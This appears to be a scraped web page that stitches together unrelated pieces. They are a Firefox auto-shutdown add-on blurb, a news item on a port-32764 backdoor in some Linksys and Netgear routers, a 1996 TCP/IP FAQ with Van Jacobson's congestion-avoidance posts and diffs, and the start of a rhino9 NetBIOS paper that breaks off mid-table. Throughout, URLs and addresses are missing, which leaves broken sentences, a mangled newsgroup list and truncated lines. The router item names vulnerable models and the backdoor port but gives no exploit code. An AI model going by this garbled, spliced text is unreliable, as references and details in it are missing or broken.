How to Shutdown Computer automatically Using Firefox Auto Shutdown Add-on

4222061665 632c48d187 o How to Shutdown Computer automatically Using Firefox Auto Shutdown Add onFirefox is the top most world widely used web browser. Because it is handy and have lots of features though its add-on and extension. Sometimes we download files using Firefox and on the same time we need to go for some work. So until we come back the computer waste the energy. In this situation we can use Firefox Auto shutdown the computer when downloads are completed and helps us to save electric power.

4222067729 241056e744 How to Shutdown Computer automatically Using Firefox Auto Shutdown Add on

Auto Shutdown is a cool Firefox add-on which controls your active download and shut down the computer when downloads are completed through is auto executing user script. Not only this but if Firefox is running idle it also shut downs the pc 4222074655 e22c0502ae o How to Shutdown Computer automatically Using Firefox Auto Shutdown Add onautomatically with pre defined shut down time.

If you are using Downthemall Firefox extension for downloading movies, video, music and images from web then you can easily integrate Auto shutdown Firefox extension with downthemall add-on.

Download Auto shutdown Firefox Add-on

Backdoor in Linksys and Netgear routers

backdoor-linksys copy

This news could hurt the reputation of both companies. A passionate (and obviously very competent) reverse-engineer from France, Eloi Vanderbeken forgot the admin interface password of his router and so he just wanted to have fun accessing the administration side and that’s when he discovered a backdoor in his Linksys WAG200G router. After publishing this discovery on Github, other users have confirmed its existence in at least three other routers:

  • Netgear DM111Pv2
  • Linksys WAG320N
  • Linksys WAG54G2

Other routers are suspected of providing equal opportunity to obtain the administrator password through the 32764 port, but it has not yet been confirmed:

  • Netgear DG934
  • Netgear DG834
  • Netgear WPNT834
  • Netgear DG834G
  • Netgear WG602
  • Netgear WGR614
  • Netgear DGN2000
  • Linksys WAG120N
  • Linksys WAG160N
  • Linksys WRVS4400N

The backdoor listens for communications sent to port 32764 specifically and answers a series of 13 numbered commands that can be ordered by sending a specific message. It is therefore possible to obtain the complete remote configuration of the router, the administrator password or even restore default settings.

FAQ: The TCP/IP FAQ by George V. Neville-Neil (April 1, 1996)

Last-modified: 1996/4/1

Internet Protocol Frequently Asked Questions

Maintained by: George V. Neville-Neil (
Contributions from:
Ran Atkinson
Mark Bergman
Stephane Bortzmeyer
Rodney Brown
Dr. Charles E. Campbell Jr.
Phill Conrad
Alan Cox
Rick Jones
Jon Kay
Jay Kreibrich
William Manning
Barry Margolin
Jim Muchow
Subu Rama
W. Richard Stevens

Version 3.3


The following is a list of Frequently Asked Questions, and
their answers, for people interested in the Internet Protocols,
including TCP, UDP, ICMP and others. Please send all additions,
corrections, complaints and kudos to the above address. This FAQ will
be posted on or about the first of every month.

This FAQ is available for anonymous ftp from : . You may get it from my home page at
You can read the FAQ in HTMl format on Netcom or from the mirror


Table of Contents:
1) Are there any good books on IP?
2) Where can I find example source code for TCP/UDP/IP?
3) Are there any public domain programs to check the performance of an
IP link?
4) Where do I find RFCs?
5) How can I detect that the other end of a TCP connection has
crashed? Can I use “keepalives” for this?
6) Can the keepalive timeouts be configured?
7) Can I set up a gateway to the Internet that translates IP
addresses, so that I don’t have to change all our internal addresses
to an official network?
8) Are there object-oriented network programming tools?
9) What other FAQs are related to this one?
10) What newsgroups contain information on networks/protocols?
11) Van Jacobson explains TCP congestion avoidance.
12) Can I use a single bit subnet?


I felt this should be first given the plethora of acronyms used in the
rest of this FAQ.

IP: Internet Protocol. The lowest layer protocol defined in TCP/IP.
This is the base layer on which all other protocols mentioned herein
are built. IP is often referred to as TCP/IP as well.

UDP: User Datagram Protocol. This is a connectionless protocol built
on top of IP. It does not provide any guarantees on the ordering or
delivery of messages. This protocol is layered on top of IP.

TCP: Transmission Control Protocol. TCP is a connection oriented
protocol that guarantees that messages are delivered in the order in
which they were sent and that all messages are delivered. If a TCP
connection cannot deliver a message it closes the connection and
informs the entity that created it. This protocol is layered on top
of IP.

ICMP: Internet Control Message Protocol. ICMP is used for
diagnostics in the network. The Unix program, ping, uses ICMP
messages to detect the status of other hosts in the net. ICMP
messages can either be queries (in the case of ping) or error reports,
such as when a network is unreachable.

RFC: Request For Comment. RFCs are documents that define the
protocols used in the IP Internet. Some are only suggestions, some
are even jokes, and others are published standards. Several sites in
the Internet store RFCs and make them available for anonymous ftp.

SLIP: Serial Line IP. An implementation of IP for use over a serial
link (modem). CSLIP is an optimized (compressed) version of SLIP that
gives better throughput.

Bandwidth: The amount of data that can be pushed through a link in
unit time. Usually measured in bits or bytes per second.

Latency: The amount of time that a message spends in a network going
from point A to point B.

Jitter: The effect seen when latency is not a constant. That is, if
messages experience a different latencies between two points in a

RPC: Remote Procedure Call. RPC is a method of making network access
to resource transparent to the application programmer by supplying a
“stub” routine that is called in the same way as a regular procedure
call. The stub actually performs the call across the network to
another computer.

Marshalling: The process of taking arbitrary data (characters,
integers, structures) and packing them up for transmission across a

MBONE: A virtual network that is a Multicast backBONE. It is still a
research prototype, but it extends through most of the core of the
Internet (including North America, Europe, and Australia). It uses IP
Multicasting which is defined in RFC-1112. An MBONE FAQ is available
via anonymous ftp from:” There are frequent broadcasts of
multimedia programs (audio and low bandwidth video) over the MBONE.
Though the MBONE is used for mutlicasting, the long haul parts of the
MBONE use point-to-point connections through unicast tunnels to
connect the various multicast networks worldwide.

1) Are there any good books on IP?

A) Yes. Please see the following:

Internetworking with TCP/IP Volume I
(Principles, Protocols, and Architecture)
Douglas E. Comer
Prentice Hall 1991 ISBN 0-13-468505-9

This volume covers all of the protocols, including IP, UDP, TCP, and
the gateway protocols. It also includes discussions of higher level
protocols such as FTP, TELNET, and NFS.

Internetworking with TCP/IP Volume II
(Design, Implementation, and Internals)
Douglas E. Comer / David L. Stevens
Prentice Hall 1991 ISBN 0-13-472242-6

Discusses the implementation of the protocols and gives numerous code

Internetworking with TCP/IP Volume III (BSD Socket Version)
(Client – Server Programming and Applications)
Douglas E. Comer / David L. Stevens
Prentice Hall 1993 ISBN 0-13-474222-2

This book discusses programming applications that use the internet
protocols. It includes examples of telnet, ftp clients and servers.
Discusses RPC and XDR at length.

TCP/IP Illustrated, Volume 1: The Protocols,
W. Richard Stevens
(c) Addison-Wesley, 1994 ISBN 0-201-63346-9

An excellent introduction to the entire TCP/IP protocol suite,
covering all the major protocols, plus several important applications.

“TCP/IP Illustrated, Volume 2: The Implementation”,
by Gary R. Wright and W. Richard Stevens
(c) Addison-Wesley, 1995
ISBN 0-201-63354-X

This is a complete, and lenthy, discussion of the internals of TCP/IP
based on the Net/2 release of BSD.

Unix Network Programming
W. Richard Stevens
Prentice Hall 1990 ISBN 0-13-949876

An excellent introduction to network programming under Unix.

The Design and Implementation of the 4.3 BSD Operating System
Samuel J. Leffler, Marshall Kirk McKusick, Michael J. Karels, John S.
Addison-Wesley 1989 ISBN 0-201-06196-1

Though this book is a reference for the entire operating system, the
eleventh and twelfth chapters completely explain how the networking
protocols are implemented in the kernel.

Stevens, W. Richard, Unix Network Programming. 1990, Prentice-Hall.

An excellent introduction to network programming under Unix. Widely
cited on the Usenet bulliten boards as the “best place to start” if you
want to actually learn how to write Unix programs that communicate over
a network.

Rago, Steven A. Unix System V. Network Programming. 1993, Addison-Wesley.

A book that covers the same kinds of topics as W. Richard Stevens Unix
Network Programming, but is more specific to Unix System V Release 4
(SVR4), and so perhaps is more useful and up to date if you are
working specifically with that implementation. (Stevens book covers
Unix System V release 3.x). There is a much more extensive coverage
of Streams in Rago’s book; 4 chapters, where Stevens only provides a
couple of subsections. The design project at the end of the book is
an implementation of SLIP.

2) Where can I find example source code for TCP/UDP/IP?

A) Code from the Internetworking with TCP/IP Volume III is available
for anonymous ftp from:

Code used in the Net-2 version of Berkeley Unix is available for
anonymous ftp from:


Code from Richard Steven’s book is available on:*

Example source code and libraries to make coding quicker is available
in the Simple Sockets Library written at NASA. The Simple Sockets
Library makes sockets easy to use! And, it comes as source code. It
has been tested on: Unix (SGI, DecStation, AIX, Sun 3, Sparcstation;
version 2.02+: Solaris 2.1, SCO), VMS, and MSDOS (client only since
there’s no background there). It is provided in source code form, of
course, and sits atop Berkeley sockets and tcp/ip.

You can order the “Simple Sockets Library” from

Austin Code Works
11100 Leafwood Lane
Austin, TX 78750-3464 USA
Phone (512) 258-0785

Ask for the “SSL – The Simple Sockets Library”. Last I checked, they
were asking $20 US for it.

For DOS there is WATTCP.ZIP (numerous sites):

WATTCP is a DOS TCP/IP stack derived from the NCSA Telnet program and
much enhanced. It comes with some example programs and complete source
code. The interface isn’t BSD sockets but is well suited to PC type
work. It is also written so that it can be used and memory

3) Are there any public domain programs to check the performance of
an IP link?


TTCP: Available for anonymous ftp from….

On are netperf (from Rick Jones at HP) and nettest
(from Dave Borman at Cray). ttcp is also availabel at

You can get to the NetPerf home page via:

There is suite of Bandwidth Measuring programs from
Available for anonymous ftp from in
~ftp/gnn/bwmeas-0.3.tar.Z These are several programs that meausre
bandwidth and jitter over several kinds of IPC links, including TCP
and UDP.

4) Where do I find RFCs?

A) This is the latest info on obtaining RFCs:
Details on obtaining RFCs via FTP or EMAIL may be obtained by sending
an EMAIL message to rfc-info@ISI.EDU with the message body
help: ways_to_get_rfcs. For example:

To: rfc-info@ISI.EDU
Subject: getting rfcs

help: ways_to_get_rfcs

The response to this mail query is quite long and has been omitted.

RFCs can be obtained via FTP from DS.INTERNIC.NET, NIS.NSF.NET,

Using Web, WAIS, and gopher:


WAIS access by keyword:


Excellent presentation with a full-text search too:

With Gopher:


5) How can I detect that the other end of a TCP connection has crashed?
Can I use “keepalives” for this?

A) Detecting crashed systems over TCP/IP is difficult. TCP doesn’t require
any transmission over a connection if the application isn’t sending
anything, and many of the media over which TCP/IP is used (e.g. ethernet)
don’t provide a reliable way to determine whether a particular host is up.
If a server doesn’t hear from a client, it could be because it has nothing
to say, some network between the server and client may be down, the server
or client’s network interface may be disconnected, or the client may have
crashed. Network failures are often temporary (a thin ethernet will appear
down while someone is adding a link to the daisy chain, and it often takes
a few minutes for new routes to stabilize when a router goes down), and TCP
connections shouldn’t be dropped as a result.

Keepalives are a feature of the sockets API that requests that an empty
packet be sent periodically over an idle connection; this should evoke an
acknowledgement from the remote system if it is still up, a reset if it has
rebooted, and a timeout if it is down. These are not normally sent until
the connection has been idle for a few hours. The purpose isn’t to detect
a crash immediately, but to keep unnecessary resources from being allocated

If more rapid detection of remote failures is required, this should be
implemented in the application protocol. There is no standard mechanism
for this, but an example is requiring clients to send a “no-op” message
every minute or two. An example protocol that uses this is X Display
Manager Control Protocol (XDMCP), part of the X Window System, Version 11;
the XDM server managing a session periodically sends a Sync command to the
display server, which should evoke an application-level response, and
resets the session if it doesn’t get a response (this is actually an
example of a poor implementation, as a timeout can occur if another client
“grabs” the server for too long).

6) Can the keepalive timeouts be configured?

A) This varies by operating system. There is a program that works on
many Unices (though not Linux or Solaris), called netconfig, that
allows one to do this and documents many of the variables. It is
available by anonymous FTP from

In addition, Richard Stevens’ TCP/IP Illustrated, Volume 1 includes a
good discussion of setting the most useful variables on many

7) Can I set up a gateway to the Internet that translates IP addresses, so
that I don’t have to change all our internal addresses to an official

A) There’s no general solution to this. Many protocols include IP
addresses in the application-level data (FTP’s “PORT” command is the most
notable), so it isn’t simply a matter of translating addresses in the IP
header. Also, if the network number(s) you’re using match those assigned
to another organization, your gateway won’t be able to communicate with
that organization (RFC 1597 proposes network numbers that are reserved for
private use, to avoid such conflicts, but if you’re already using a
different network number this won’t help you).

However, if you’re willing to live with limited access to the Internet from
internal hosts, the “proxy” servers developed for firewalls can be used as
a substitute for an address-translating gateway. See the firewall FAQ.

8) Are there object-oriented network programming tools?

A) Yes, and one such system is called ACE (ADAPTIVE Communication
Environment). Here is how to get more information and the software:


An HTML version of this README file is available at URL All software and
documentation is available via both anonymous ftp and the Web.

ACE is available for anonymous ftp from the (
host in the gnu/C++_wrappers.tar.Z file (approximately .5 meg
compressed). This release contains contains the source code,
documentation, and example test drivers for C++ wrapper libras.

9) What other FAQs might you want to look in?
Aboba, Bernard D.(1994) “comp.protocols.tcp-ip.ibmpc Frequently
Asked Questions (FAQ)” Usenet news.answers, available via
57 pages.

Archive-name: ppp-faq/part[1-8]

ftp site:, pub/novell/DOCS
Ethernet Network Questions and Answers
Summarized from UseNet group comp.dcom.lans.ethernet

10) What other newsgroups deal with networking?

comp.dcom.cabling Cabling selection, installation and use.
comp.dcom.isdn The Integrated Services Digital Network
comp.dcom.lans.ethernet Discussions of the Ethernet/IEEE 802.3
comp.dcom.lans.fddi Discussions of the FDDI protocol suite.
comp.dcom.lans.misc Local area network hardware and software.
comp.dcom.lans.token-ring Installing and using token ring
comp.dcom.servers Selecting and operating data communications
servers. Info on Cisco routers and bridges.
comp.dcom.sys.wellfleet Wellfleet bridge & router systems hardware &
software. Networking with IBM mainframes.
comp.protocols.iso The ISO protocol stack.
comp.protocols.kerberos The Kerberos authentication server.
comp.protocols.misc Various forms and types of protocol.
comp.protocols.nfs Discussion about the Network File System
comp.protocols.ppp Discussion of the Internet Point to Point
comp.protocols.smb SMB file sharing protocol and Samba SMB
comp.protocols.tcp-ip TCP and IP network protocols.
comp.protocols.tcp-ip.ibmpc TCP/IP for IBM(-like) personal
computers. Security isuipment for the PC. Windows and other networks. Windows and TCP/IP networking. Windows’ built-in networking.
comp.os.os2.networking.misc Miscellaneous networking issues of
comp.os.os2.networking.tcp-ip TCP/IP under OS/2.
comp.sys.novell Discussion of Novell Netware products.

11) Van Jacobson explains TCP congestion avoidance.

I’ve attached Van J’s original posting on it (I seem to repost this every
6 months or so). If you want to see some real examples of this in action,
take a look at Chapter 21 of my “TCP/IP Illustrated, Volume 1”.

Rich Stevens

>From Mon Apr 30 01:44:05 1990
To: end2end-interest@ISI.EDU
Subject: modified TCP congestion avoidance algorithm
Date: Mon, 30 Apr 90 01:40:59 PDT
From: Van Jacobson <>
Status: RO

This is a description of the modified TCP congestion avoidance
algorithm that I promised at the teleconference.

BTW, on re-reading, I noticed there were several errors in
Lixia’s note besides the problem I noted at the teleconference.
I don’t know whether that’s because I mis-communicated the
algorithm at dinner (as I recall, I’d had some wine) or because
she’s convinced that TCP is ultimately irrelevant :). Either
way, you will probably be disappointed if you experiment with
what’s in that note.

First, I should point out once again that there are two
completely independent window adjustment algorithms running in
the sender: Slow-start is run when the pipe is empty (i.e.,
when first starting or re-starting after a timeout). Its goal
is to get the “ack clock” started so packets will be metered
into the network at a reasonable rate. The other algorithm,
congestion avoidance, is run any time *but* when (re-)starting
and is responsible for estimating the (dynamically varying)
pipesize. You will cause yourself, or me, no end of confusion
if you lump these separate algorithms (as Lixia’s message did).

The modifications described here are only to the congestion
avoidance algorithm, not to slow-start, and they are intended to
apply to large bandwidth-delay product paths (though they don’t
do any harm on other paths). Remember that with regular TCP (or
with slow-start/c-a TCP), throughput really starts to go to hell
when the probability of packet loss is on the order of the
bandwidth-delay product. E.g., you might expect a 1% packet
loss rate to translate into a 1% lower throughput but for, say,
a TCP connection with a 100 packet b-d p. (= window), it results
in a 50-75% throughput loss. To make TCP effective on fat
pipes, it would be nice if throughput degraded only as function
of loss probability rather than as the product of the loss
probabilty and the b-d p. (Assuming, of course, that we can do
this without sacrificing congestion avoidance.)

These mods do two things: (1) prevent the pipe from going empty
after a loss (if the pipe doesn’t go empty, you won’t have to
waste round-trip times re-filling it) and (2) correctly account
for the amount of data actually in the pipe (since that’s what
congestion avoidance is supposed to be estimating and adapting to).

For (1), remember that we use a packet loss as a signal that the
pipe is overfull (congested) and that packet loss can be
detected one of two different ways: (a) via a retransmit
timeout or (b) when some small number (3-4) of consecutive
duplicate acks has been received (the “fast retransmit”
algorithm). In case (a), the pipe is guaranteed to be empty so
we must slow-start. In case (b), if the duplicate ack
threshhold is small compared to the bandwidth-delay product, we
will detect the loss with the pipe almost full. I.e., given a
threshhold of 3 packets and an LBL-MIT bandwidth-delay of around
24KB or 16 packets (assuming 1500 byte MTUs), the pipe is 75%
full when fast-retransmit detects a loss (actually, until
gateways start doing some sort of congestion control, the pipe
is overfull when the loss is detected so *at least* 75% of the
packets needed for ack clocking are in transit when
fast-retransmit happens). Since the pipe is full, there’s no
need to slow-start after a fast-retransmit.

For (2), consider what a duplicate ack means: either the
network duplicated a packet (i.e., the NSFNet braindead IBM
token ring adapters) or the receiver got an out-of-order packet.
The usual cause of out-of-order packets at the receiver is a
missing packet. I.e., if there are W packets in transit and one
is dropped, the receiver will get W-1 out-of-order and
(4.3-tahoe TCP will) generate W-1 duplicate acks. If the
`consecutive duplicates’ threshhold is set high enough, we can
reasonably assume that duplicate acks mean dropped packets.

But there’s more information in the ack: The receiver can only
generate one in response to a packet arrival. I.e., a duplicate
ack means that a packet has left the network (it is now cached
at the receiver). If the sender is limitted by the congestion
window, a packet can now be sent. (The congestion window is a
count of how many packets will fit in the pipe. The ack says a
packet has left the pipe so a new one can be added to take its
place.) To put this another way, say the current congestion
window is C (i.e, C packets will fit in the pipe) and D
duplicate acks have been received. Then only C-D packets are
actually in the pipe and the sender wants to use a window of C+D
packets to fill the pipe to its estimated capacity (C+D sent –
D received = C in pipe).

So, conceptually, the slow-start/cong.avoid/fast-rexmit changes

– The sender’s input routine is changed to set `cwnd’ to `ssthresh’
when the dup ack threshhold is reached. [It used to set cwnd to
mss to force a slow-start.] Everything else stays the same.

– The sender’s output routine is changed to use an effective window
of min(snd_wnd, cwnd + dupacks*mss) [the change is the addition
of the `dupacks*mss’ term.] `Dupacks’ is zero until the rexmit
threshhold is reached and zero except when receiving a sequence
of duplicate acks.

The actual implementation is slightly different than the above
because I wanted to avoid the multiply in the output routine
(multiplies are expensive on some risc machines). A diff of the
old and new fastrexmit code is attached (your line numbers will

Note that we still do congestion avoidance (i.e., the window is
reduced by 50% when we detect the packet loss). But, as long as
the receiver’s offered window is large enough (it needs to be at
most twice the bandwidth-delay product), we continue sending
packets (at exactly half the rate we were sending before the
loss) even after the loss is detected so the pipe stays full at
exactly the level we want and a slow-start isn’t necessary.

Some algebra might make this last clear: Say U is the sequence
number of the first un-acked packet and we are using a window
size of W when packet U is dropped. Packets [U..U+W) are in
transit. When the loss is detected, we send packet U and pull
the window back to W/2. But in the round-trip time it takes
the U retransmit to fill the receiver’s hole and an ack to get
back, W-1 dup acks will arrive (one for each packet in transit).
The window is effectively inflated by one packet for each of
these acks so packets [U..U+W/2+W-1) are sent. But we don’t
re-send packets unless we know they’ve been lost so the amount
actually sent between the loss detection and the recovery ack is
U+W/2+W-1 – U+W = W/2-1 which is exactly the amount congestion
avoidance allows us to send (if we add in the rexmit of U). The
recovery ack is for packet U+W so when the effective window is
pulled back from W/2+W-1 to W/2 (which happens because the
recovery ack is `new’ and sets dupack to zero), we are allowed
to send up to packet U+W+W/2 which is exactly the first packet
we haven’t yet sent. (I.e., there is no sudden burst of packets
as the `hole’ is filled.) Also, when sending packets between
the loss detection and the recovery ack, we do nothing for the
first W/2 dup acks (because they only allow us to send packets
we’ve already sent) and the bottleneck gateway is given W/2
packet times to clean out its backlog. Thus when we start
sending our W/2-1 new packets, the bottleneck queue is as empty
as it can be.

[I don’t know if you can get the flavor of what happens from
this description — it’s hard to see without a picture. But I
was delighted by how beautifully it worked — it was like
watching the innards of an engine when all the separate motions
of crank, pistons and valves suddenly fit together and
everything appears in exactly the right place at just the right

Also note that this algorithm interoperates with old tcp’s: Most
pre-tahoe tcp’s don’t generate the dup acks on out-of-order packets.
If we don’t get the dup acks, fast retransmit never fires and the
window is never inflated so everything happens in the old way (via
timeouts). Everything works just as it did without the new algorithm
(and just as slow).

If you want to simulate this, the intended environment is:

– large bandwidth-delay product (say 20 or more packets)

– receiver advertising window of two b-d p (or, equivalently,
advertised window of the unloaded b-d p but two or more
connections simultaneously sharing the path).

– average loss rate (from congestion or other source) less than
one lost packet per round-trip-time per active connection.
(The algorithm works at higher loss rate but the TCP selective
ack option has to be implemented otherwise the pipe will go empty
waiting to fill the second hole and throughput will once again
degrade at the product of the loss rate and b-d p. With selective
ack, throughput is insensitive to b-d p at any loss rate.)

And, of course, we should always remember that good engineering
practise suggests a b-d p worth of buffer at each bottleneck —
less buffer and your simulation will exhibit the interesting
pathologies of a poorly engineered network but will probably
tell you little about the workings of the algorithm (unless the
algorithm misbehaves badly under these conditions but my
simulations and measurements say that it doesn’t). In these
days of $100/megabyte memory, I dearly hope that this particular
example of bad engineering is of historical interest only.

– Van

*** /tmp/,RCSt1a26717 Mon Apr 30 01:35:17 1990
— tcp_input.c Mon Apr 30 01:33:30 1990
*** 834,850 ****
* Kludge snd_nxt & the congestion
* window so we send only this one
! * packet. If this packet fills the
! * only hole in the receiver’s seq.
! * space, the next real ack will fully
! * open our window. This means we
! * have to do the usual slow-start to
! * not overwhelm an intermediate gateway
! * with a burst of packets. Leave
! * here with the congestion window set
! * to allow 2 packets on the next real
! * ack and the exp-to-linear thresh
! * set for half the current window
! * size (since we know we’re losing at
! * the current window size).
if (tp->t_timer[TCPT_REXMT] == 0 ||
— 834,850 —-
* Kludge snd_nxt & the congestion
* window so we send only this one
! * packet.
! *
! * We know we’re losing at the current
! * window size so do congestion avoidance
! * (set ssthresh to half the current window
! * and pull our congestion window back to
! * the new ssthresh).
! *
! * Dup acks mean that packets have left the
! * network (they’re now cached at the receiver)
! * so bump cwnd by the amount in the receiver
! * to keep a constant cwnd packets in the
! * network.
if (tp->t_timer[TCPT_REXMT] == 0 ||
*** 853,864 ****
else if (++tp->t_dupacks == tcprexmtthresh) {
tcp_seq onxt = tp->snd_nxt;
! u_int win =
! MIN(tp->snd_wnd, tp->snd_cwnd) / 2 /
! tp->t_maxseg;

if (win < 2) win = 2; tp->snd_ssthresh = win * tp->t_maxseg;

tp->t_timer[TCPT_REXMT] = 0;
tp->t_rtt = 0;
— 853,864 —-
else if (++tp->t_dupacks == tcprexmtthresh) {
tcp_seq onxt = tp->snd_nxt;
! u_int win = MIN(tp->snd_wnd,
! tp->snd_cwnd);

+ win /= tp->t_maxseg;
+ win >>= 1;
if (win < 2) win = 2; tp->snd_ssthresh = win * tp->t_maxseg;
tp->t_timer[TCPT_REXMT] = 0;
tp->t_rtt = 0;
*** 866,873 ****
tp->snd_cwnd = tp->t_maxseg;
(void) tcp_output(tp);
if (SEQ_GT(onxt, tp->snd_nxt))
tp->snd_nxt = onxt;
goto drop;
} else
— 866,879 —-
tp->snd_cwnd = tp->t_maxseg;
(void) tcp_output(tp);
! tp->snd_cwnd = tp->snd_ssthresh +
! tp->t_maxseg *
! tp->t_dupacks;
if (SEQ_GT(onxt, tp->snd_nxt))
tp->snd_nxt = onxt;
goto drop;
+ } else if (tp->t_dupacks > tcprexmtthresh) {
+ tp->snd_cwnd += tp->t_maxseg;
+ (void) tcp_output(tp);
+ goto drop;
} else
*** 874,877 ****
— 880,890 —-
tp->t_dupacks = 0;
+ }
+ if (tp->t_dupacks) {
+ /*
+ * the congestion window was inflated to account for
+ * the other side’s cached packets – retract it.
+ */
+ tp->snd_cwnd = tp->snd_ssthresh;
tp->t_dupacks = 0;
*** /tmp/,RCSt1a26725 Mon Apr 30 01:35:23 1990
— tcp_timer.c Mon Apr 30 00:36:29 1990
*** 223,226 ****
— 223,227 —-
tp->snd_cwnd = tp->t_maxseg;
tp->snd_ssthresh = win * tp->t_maxseg;
+ tp->t_dupacks = 0;
(void) tcp_output(tp);

>From Mon Apr 30 10:37:36 1990
To: end2end-interest@ISI.EDU
Subject: modified TCP congestion avoidance algorithm (correction)
Date: Mon, 30 Apr 90 10:36:12 PDT
From: Van Jacobson <>
Status: RO

I shouldn’t make last minute ‘fixes’. The code I sent out last
night had a small error:

*** t.c Mon Apr 30 10:28:52 1990
— tcp_input.c Mon Apr 30 10:30:41 1990
*** 885,893 ****
* the congestion window was inflated to account for
* the other side’s cached packets – retract it.
! tp->snd_cwnd = tp->snd_ssthresh;
– tp->t_dupacks = 0;
if (SEQ_GT(ti->ti_ack, tp->snd_max)) {
goto dropafterack;
— 885,894 —-
* the congestion window was inflated to account for
* the other side’s cached packets – retract it.
! if (tp->snd_cwnd > tp->snd_ssthresh)
! tp->snd_cwnd = tp->snd_ssthresh;
! tp->t_dupacks = 0;
if (SEQ_GT(ti->ti_ack, tp->snd_max)) {
goto dropafterack;

12) Can I use a single bit subnet?

A) It would seem that the consensus is no. The best citable answer

>From RFC1122:
“3.3.6 Broadcasts
Section defined the four standard IP broadcast address
Limited Broadcast: {-1, -1}
Directed Broadcast: {,-1}
Subnet Directed Broadcast:
All-Subnets Directed Broadcast: {,-1,-1}”

All-Subnets Directed broadcasts are being deprecated in favor of IP
multicast, but were very much defined at the time RFC1122 was written.
Thus a Subnet Directed Broadcast to a subnet of all ones is not
distinguishable from an All-Subnets Directed Broadcast.

For those old systems that used all zeros for broadcast in IP addresses,
a similar argument can be made against the subnet of all zeros.

Also, for old routing protocols like RIP, a route to subnet zero
is not distinguishable from the route to the entire network number
(except possibly by context).

Most of today’s systems don’t support variable length subnet masks
(VLSM), and for such systems the above is true. However, all the major
router vendors and *some* Unix systems (BSD 4.4 based ones) support
VLSMs, and in that case the situation is more complicated 🙂

With VLSMs (necessary to support CIDR, see RFC 1519), you can utilize the
address space more efficiently. Routing lookups are based on *longest*
match, and this means that you can for instance subnet the class C net
with a mask of (27 bits) in addition to the subnet mask
of (26 bits) given above. You will then be able to use
the addresses x.x.x.33 through x.x.x.62 (first three bits 001) and the
addresses x.x.x.193 through x.x.x.222 (first three bits 110) with this
new subnet mask. And you can continue with a subnet mask of 28 bits, etc.
(Note also, by the way, that non-contiguous subnet masks are deprecated.)

This is all very nicely covered in the paper by Havard Eidnes:

Practical Considerations for Network Address using a CIDR Block Allocation
Proceedings of INET ’93

This paper is available with anonymous FTP from

The same paper, with minor revisions, is one of the articles in the
special Internetworking issue of Communications of the ACM (last month,
I believe).

> I have be told that some network equipment (Cisco I think was the vendor
> named) will not correctly handle subnets that violated that standard.
As far as I know cisco is one of the router vendors that *do* handle
VLSMs correctly. Could you substantiate this claim?

Steinar Haug, SINTEF RUNIT, University of Trondheim, NORWAY

George V. Neville-Neil work:

This signature kept blank due to the CDA.

Understanding NetBIOS by NeonSurge of Rhino9

Understanding NetBIOS
By NeonSurge
Released through the rhino9 Team


Before you begin reading this paper, understand that this paper was written for the novice to the concept of NetBIOS, but – it also contains information the veteran might find educational. I am prefacing this so that I do not get e-mail like “Why did you start your paper off so basic?” – Simple, its written for people that may be coming from an enviroment that does not use NetBIOS, so they would need me to start with basics, thanks. -NeonSurge, rhino9 team.

Whats is NetBIOS?

NetBIOS (Network Basic Input/Output System) was originally developed by IBM and Sytek as an Application Programming Interface (API) for client software to access LAN resources. Since its creation, NetBIOS has become the basis for many other networking applications. In its strictest sense, NetBIOS is an interface specification for acessing networking services.

NetBIOS, a layer of software developed to link a network operating system with specific hardware, was originally designed as THE network controller for IBM’s Network LAN. NetBIOS has now been extended to allow programs written using the NetBIOS interface to operate on the IBM token ring architecture. NetBIOS has since been adopted as an industry standard and now, it is common to refer to NetBIOS-compatible LANs.

It offers network applications a set of “hooks” to carry out inter-application communication and data transfer. In a basic sense, NetBIOS allows applications to talk to the network. Its intention is to isolate application programs from any type of hardware dependancies. It also spares software developers the task of developing network error recovery and low level message addressing or routing. The use of the NetBIOS interface does alot of this work for them.

NetBIOS standardizes the interface between applications and a LANs operating capabilities. With this, it can be specified to which levels of the OSI model the application can write to, making the application transportable to other networks. In a NetBIOS LAN enviroment, computers are known on the system by a name. Each computer on the network has a permanent name that is programmed in various different ways. These names will be discussed in more detail below.

PC’s on a NetBIOS LAN communicate either by establishing a session or by using NetBIOS datagram or broadcast methods. Sessions allow for a larger message to be sent and handle error detection and correction. The communication is on a one-to-one basis. Datagram and broadcast methods allow one computer to communicate with several other computers at the same time, but are limited in message size. There is no error detection or correction using these datagram or broadcast methods. However, datagram communication allows for communication without having to establish a session.

All communication in these enviroments are presented to NetBIOS in a format called Network Control Blocks (NCB). The allocation of these blocks in memory is dependant on the user program. These NCB’s are divided into fields, these are reserved for input and output respectively.

NetBIOS is a very common protocol used in todays enviroments. NetBIOS is supported on Ethernet, TokenRing, and IBM PC Networks. In its original induction, it was defined as only an interface between the application and the network adapter. Since then, transport like functions have been added to NetBIOS, making it more functional over time.

In NetBIOS, connection (TCP) oriented and connectionless (UDP) communication are both supported. It supports both broadcasts and multicasting and supports three distinct services: Naming, Session, and Datagram.

NetBIOS Names

NetBIOS names are used to identify resources on a network. Applications use these names to start and end sessions. You can configure a single machine with multiple applications, each of which has a unique NetBIOS name. Each PC that supports an application also has a NetBIOS station name that is user defined or that NetBIOS derives by internal means.

NetBIOS can consist of up to 16 aplhanumeric characters. The combination of characters must be unique within the entire source routing network. Before a PC that uses NetBIOS can fully function on a network, that PC must register their NetBIOS name.

When a client becomes active, the client advertises their name. A client is considered to be registered when it can successfully advertise itself without any other client claiming it has the same name. The steps of the registration process is as follows:

1. Uppon boot up, the client broadcasts itself and its NetBIOS information anywhere from 6 to 10 to ensure every other client on the network receives the information.

2. If another client on the network already has the name, that NetBIOS client issues its own broadcast to indicate that the name is in use. The client who is trying to register the already in use name, stop all attempts to register that name.

3. If no other client on the network objects to the name registration, the client will finish the registration process.

There are two types of names in a NetBIOS enviroment: Unique and Group. A unique name must be unique across the network. A group name does not have to be unique and all processes that have a given group name belong to the group. Each NetBIOS node maintains a table of all names currently owned by that node.

The NetBIOS naming convention allows for 16 characters in a NetBIOS name. Microsoft, however, limits these names to 15 characters and uses the 16th character as a NetBIOS suffix. A NetBIOS suffix is used by Microsoft Networking software to indentify the functionality installed or the registered device or service.

[QuickNote: SMB and NBT (NetBIOS over TCP/IP work very closely together and both use ports 137, 138, 139. Port 137 is NetBIOS name UDP. Port 138 is NetBIOS datagram UDP. Port 139 is NetBIOS session TCP. For further information on NetBIOS, read the paper at the rhino9 website listed above]

The following is a table of NetBIOS suffixes currently used by Microsoft WindowsNT. These suffixes are displayed in hexadecimal format.

Name Number Type Usage
00 U Workstation Service
01 U Messenger Service
<\\_MSBROWSE_> 01 G Master Browser
03 U Messenger Service
